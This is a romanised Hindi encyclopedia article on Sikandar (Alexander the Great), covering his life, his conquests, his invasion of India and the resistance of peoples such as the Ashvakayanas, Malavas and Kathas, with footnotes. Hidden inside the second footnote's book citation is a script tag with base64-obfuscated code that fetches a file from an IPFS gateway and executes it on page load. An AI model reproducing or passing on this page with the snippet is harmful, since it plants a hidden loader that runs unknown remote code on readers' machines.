सिकन्दर
sikandar
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| poora nam | sikandar mahanh / Alexander |
| any nam | alakshyendr, elekzeandar tritiy, elekzeandar mesedoniyan |
| janm | 20 julaee, 356 ee. poo. |
| janm bhoomi | pela, maisedon, yoonan |
| mrityu tithi | 10 ya 11 joon, 323 ee. poo. (umr 33 varsh) |
| mrityu sthan | bebilon |
| pita/mata | philip dvitiy, olanpiyaz |
| pati/patni | rukhasana, baiktriya, straiteyara dvitiy |
| santan | sikandar chaturth |
| upadhi | kiang |
| rajy sima | yoonan, faras aur panjab |
| shasan kal | 336 – 323 ee. poo. |
| sha. avadhi | 13 varsh |
| poorvadhikari | philip dvitiy |
sikandar athava alakshyendr, mesedoniya ka grik prashasak tha. vah elekzeandar tritiy, Alexander the Great tatha elekzeandar mesedoniyan ke nam se bhi jana jata hai. itihas mean sikandar sabase kushal aur yashasvi senapati mana gaya hai. apani mrityu tak sikandar us tamam bhoomi ko jit chuka tha, jisaki janakari prachin yavan (grik) logoan ko thi. isalie use vishvavijeta bhi kaha jata hai. sikandar ke pita ka nam filip tha.
aitihasik ullekh
- sikandar ko sabase pahale ek ganarajy ke pradhan ke virodh ka samana karana p da, jise yoonani aistiz kahate haian, sanskrit mean jisaka nam hastin hai; vah us jati ka pradhan tha jisaka bharatiy nam hastinayan tha [1]. yoonani mean isake lie astakenoee ya astanenoee-jaise shabdoan ka prayog kiya gaya hai, aur usaki rajadhani pyookelaotis arthath pushkalavati likhi gee hai. is vir saradar ne apane nagarakot par yoonaniyoan ki gherebandi ka poore tis din tak mukabala kiya aur aant mean l data hua mara gaya. isi prakar ashvayan tatha ashvakayan bhi akhiri dam tak l de, jaisa ki is bat se pata chalata hai ki unake kam se kam 40,000 sainik bandi bana lie ge. unaki arthik samriddhi ka bhi anuman is bat se lagaya ja sakata hai ki is l daee mean 2,30,000 bail sikandar ke hath lage.[2]
- ashvakayanoan ne 30,000 ghu dasavar 38,000 paidal aur 30 hathiyoan ki sena lekar, jinaki sahayata ke lie maidanoan ke rahane vale 7,000 vetanabhogi sipahi aur the, sikandar se morcha liya. yah poori ashvakayanoan ki qileband rajadhani massag[3] mean apani viraangana rani kliyofis[4] ke netritv mean ashvakayanoan ne "aant tak apane desh ki raksha karane ka dridh sankalp kiya." rani ke sath hi vahaan ki striyoan ne bhi pratiraksha mean bhag liya. vetanabhogi sainik ke roop mean b de nirutsah hokar l de, parantu bad mean unhean josh a gaya aur unhoanne "apaman ke jivan ki apeksha gaurav ke mar jana" hi behatar samajha.[5] unake is utsah ko dekhakar abhisar namak nikatavarti parvatiy desh mean bhi utsah jagrat hua aur vahaan ke log bhi pratiraksha ke lie dat ge. us pradesh ke svatantr nagaroan ne bhi, jaise aornos, bazira, ora athava dayarta adi ne, pratishodh ka yahi marg apanaya aur unamean pratyek ne bahut lambi gherebandi ke bad hi hathiyar dale.[2]
shasan kshetr
sikandar ne apane karyakal mean eeran, siriya, misr, mesopotamiya, phinishiya, judea, gajha, baiktriya aur bharat mean panjab tak ke pradesh par vijay hasil ki thi. sikandar ne sabase pahale grik rajyoan ko jita aur phir vah eshiya mainar (adhunik turki) ki taraph badha. us kshetr par us samay faras ka shasan tha. farasi samrajy misr se lekar pashchimottar bharat tak phaila tha. faras ke shah dara tritiy ko usane tin alag-alag yuddhoan mean parajit kiya, halaanki usaki tathakathit 'vishv-vijay' faras vijay se adhik nahian thi par use shah dara ke alava any sthaniy praantapaloan se bhi yuddh karana p da tha. misr, bॅktriya, tatha adhunik tazikistan mean sthaniy pratirodh ka samana karana p da tha.
bharat mean sikandar
bharat mean sikandar ka puru se yuddh hua. jisamean puru ki har huee. bharat par sikandar ke akraman ke samay chanaky (vishnugupt athava kautily) takshashila mean pradhyapak the. takshashila aur gandhar ke raja ambhi ne sikandar se samajhauta kar liya. chanaky ne bharat ki sanskriti ko videshiyoan se bachane ke lie sabhi rajaoan se agrah kiya kintu sikandar se l dane koee nahian aya. puru ne sikandar se yuddh kiya, kintu har gaya. magadh ke raja mahapadmanand ne chanaky ka sath dene se mana kar diya aur chanaky ka apaman bhi kiya. chanaky ne chandragupt ko sath lekar ek naye samrajy ki sthapana ki aur sikandar dvara jite ge rajy panjab ke rajadoot selyookas ko haraya. sikandar ke akraman ke samay sindhu nadi ki ghati ke nichale bhag mean shivigan ke p dos mean rahane vala ek gan ka nam agalassoee tha. sikandar jab sindhu nadi ke marg se bharat se vapas laut raha tha, to is gan ke logoan se usaka muqabala hua. assakenoee logoan ne sikandar se jamakar loha liya aur unake ek tir se sikandar ghayal bhi ho gaya. lekin ant mean vijay sikandar ki hi huee. usane massag durg par adhikar kar liya aur bhanyakar narasanhar ke bad assakenoee logoan ka daman kar diya. assapesioee gan bharat par sikandar mahanh ke akraman ke samay pashchimottar sima par kun d athava trichal nadi ki ghati mean rahata tha. abhisaresh sikandar ke akraman ke samay abhisar janapad ka raja tha.
vibhinn jatiyoan ka sangharsh
bharatiy sainyabal apane charam roop mean raja poras (paurav) ki sena mean dikhaee diya, jo sikandar ka sabase shaktishali shatru tha. usane arriyan ke anuman ke anusar 30,000 paidal sipahiyoan, 4,000 ghu dasavaroan, 300 rathoan aur 200 hathiyoan ki sena lekar sikandar ka mukabala kiya. usaki parajay ke bad bhi sikandar ko usaki taraf maitri ka hath badhana p da.
- agalassoee jati ke logoan ne 40,000 paidal sipahiyoan aur 3,000 ghu dasavaroan ki sena lekar sikandar se takkar li. kaha jata hai ki unake ek nagar ke 20,000 nivasiyoan ne apane-apako bandiyoan ke roop mean shatruoan ke hathoan mean samarpit karane ke bajay bal-bachchoan sahit ag mean koodakar pran de dena hi uchit samajha.
- isake bad sikandar ko kee svayatt jatiyoan ke sangh ke sangathit virodh ka samana karana p da, jinamean malav tatha kshudrak adi jatiyaan thian, jinaki sanyukt sena mean 90,000 paidal sipahi, 10,000 ghu dasavar aur 900 se adhik rath the. unake brahmanoan ne bhi padhane-likhane ka kam chho dakar talavar sambhali aur ranakshetr mean l date hue mare ge, "bahut hi kam log bandi banae ja sake."
- kath ek aur vir jati thi, jo apane shaury ke lie door-door tak vikhyat thi.[6] kaha jata hai ki ranakshetr mean unake 17,000 log mare ge the aur 70,000 bandi bana lie ge the.
- malavoan ne alag se bhi 50,000 sainikoan ki sena lekar ek nadi ki ghati ki raksha ki. aanbashthoan ki sena mean 60,000 paidal, 6,000 ghu dasavar aur 500 rath the. akele siandhu ghati ke nichale bhag mean hone vale yuddhoan mean 80,000 sipahi mare ge.
- is ilake mean brahmanoan ne aguvaee ki aur pratirodh ki bhavana tatha yuddh ke prati logoan mean adamy utsah paida kiya aur dharm ki raksha karate hue hansate-hansate apane pranoan ki ahuti de di.[7][2]
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tika tippani aur sandarbh
- ↑ (panini, VI, 4, 174)
- ↑ 2.0 2.1 2.2 chandragupt maury aur usaka kal |lekhak: radhakumud mukharji |prakashak: rajakamal prakashan | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ sanskrit:- mashak, jo mashakavati namak nadi ke tat par sthit tha, jisaka ullekh panini ke kashik bhashy mean milata hai (VI, 2, 85;VI,3,119)};
- ↑ (sanskrit:- kripa?)
- ↑ maikakriandil-krit inavezan, prishth 194 (kartiyas), 270 (diyodoras)
- ↑ (arriyan, V. 22,2)
- ↑ (plootark, laivs X; kaianbrij histri, I, prishth 378)
sanbandhit lekh
varnamala kramanusar lekh khoj
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